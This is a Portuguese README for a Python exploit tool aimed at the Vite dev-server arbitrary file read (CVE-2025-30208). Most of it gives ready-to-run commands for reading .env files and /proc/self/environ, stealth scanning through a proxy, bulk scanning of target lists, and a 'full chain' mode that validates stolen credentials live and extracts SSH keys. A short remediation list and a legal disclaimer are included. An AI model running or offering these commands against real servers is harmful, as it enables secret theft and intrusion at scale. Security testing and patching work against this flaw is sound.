CVE-2025-30208 — Leitura Arbitrária de Arquivos no Vite · v5

CVE: CVE-2025-30208
GHSA: GHSA-x574-m823-4x7w
Severidade: CVSS 5.3 Médio (servidor de desenvolvimento acessível pela rede)

⚠ Apenas para engajamentos de segurança autorizados.
O uso não autorizado contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar é ilegal.

Descrição

O servidor de desenvolvimento do Vite permite servir arquivos arbitrários do sistema de arquivos do host através de solicitações /@fs/.
Uma verificação de sanitização de query-string ausente em versões afetadas permite que um atacante anexe sufixos especialmente criados para contornar a lista de permissões e ler qualquer arquivo que o processo possa acessar — incluindo arquivos .env, chaves privadas SSH, credenciais de nuvem e entradas /proc.

Versões Afetadas

Variantes de Bypass

Instalação

pip install requests
# ou
pip install -r requirements.txt

Uso

Alvo único — varredura completa

python main.py -t https://target.com

Cadeia completa de exploração (validação de credenciais ao vivo, comportamento padrão)

python main.py -t https://target.com --full-chain --output /tmp/report

Ler um arquivo específico

python main.py -t https://target.com --file /app/.env
python main.py -t https://target.com --file /proc/self/environ --save ./environ.txt

Modo furtivo (atrasos aleatórios) + proxy upstream

python main.py -t https://target.com --stealth --proxy http://127.0.0.1:8080

Varredura em lote a partir de uma lista de alvos

python main.py -l targets.txt
python main.py -l targets.txt --workers 20 --ports 5173,3000,8080

Saída amigável para pipes (sem códigos ANSI)

python main.py -t https://target.com --no-color | tee scan.log

Versão

python main.py --version

Executar como pacote

python -m cve30208 -t https://target.com

Referência da CLI

Portas padrão para varredura em lote: 5173, 4173, 3000, 8080, 8000, 4000, 5000, 9000, 80, 443

Saída

Quando --output /tmp/report é especificado, o scanner escreve:

• /tmp/report.json — resultados estruturados legíveis por máquina
• /tmp/report.md — relatório Markdown legível por humanos

A varredura em lote sempre imprime VULN_COUNT=N na última linha para fácil script em shell:

python main.py -l targets.txt | grep '^VULN_COUNT='

Varreduras de alvo único imprimem SCAN_STATUS=VULNERABLE|NOT_VULNERABLE no final para automação.

Arquitetura (v5)

cve30208/
├── __init__.py      — superfície da API pública
├── __main__.py      — ponto de entrada python -m cve30208
├── constants.py     — constantes BYPASS, CVE_SIBLING, SECRET_PATTERNS, SSH/scan
├── ui.py            — códigos de cor ANSI, Spin/NullSpin, auxiliares de terminal
├── utils.py         — helpers compartilhados (_unescape_js_string)
├── secrets.py       — scan_secrets(), parse_env(), parse_environ()
├── ssh.py           — extract_ssh_key(), collect_ssh_targets()
├── exploit.py       — ExploitResult, ExploitStage (validação de credenciais ao vivo)
                      inclui um registro de verificação para extensão mais fácil
├── report.py        — save_report(), make_md()
└── scanner.py       — dataclasses FR/R, Scanner, bulk_scan(), main()
main.py              — shim de compatibilidade reversa
requirements.txt

Deduplicação

O scanner suprime automaticamente artefatos repetidos para que a saída permaneça limpa mesmo quando HOME é igual a /root ou o mesmo segredo aparece em múltiplos arquivos:

A linha de resumo informa quantos arquivos, segredos e chaves SSH foram suprimidos como duplicatas, por exemplo:

  desduplicado 2 arquivo(s), 4 credencial(is), 1 chave(s) SSH suprimidas como duplicatas

Remediação

1. Atualize o Vite para a versão corrigida do seu ramo (veja a tabela acima).
2. Nunca inicie o servidor de desenvolvimento do Vite com --host 0.0.0.0 em redes não confiáveis.
3. Rotacione todos os segredos que foram potencialmente expostos (chaves de API, senhas de banco de dados, chaves SSH).
4. Audite os arquivos .env e remova segredos desnecessários do projeto.

Legal

Esta ferramenta é fornecida apenas para testes de penetração autorizados e pesquisa de segurança.
Ao usar esta ferramenta, você concorda que tem autorização explícita por escrito para testar os sistemas alvo.
Os autores não aceitam responsabilidade por qualquer uso indevido ou dano causado por este software.

CVE-2025-30208 PoC v5

Nota do esquema JSON

O JSON gerado agora inclui:

• schema_version (atual: 1.0.0)
• status (VULNERABLE ou NOT_VULNERABLE)
• safe_mode (true quando o modo de ocultação de segredos no terminal estava ativado)
• report_redacted (true quando pelo menos um segredo existia e foi ocultado nos relatórios persistidos)
• os valores de segredos persistidos são sempre ocultados nos arquivos de relatório JSON/Markdown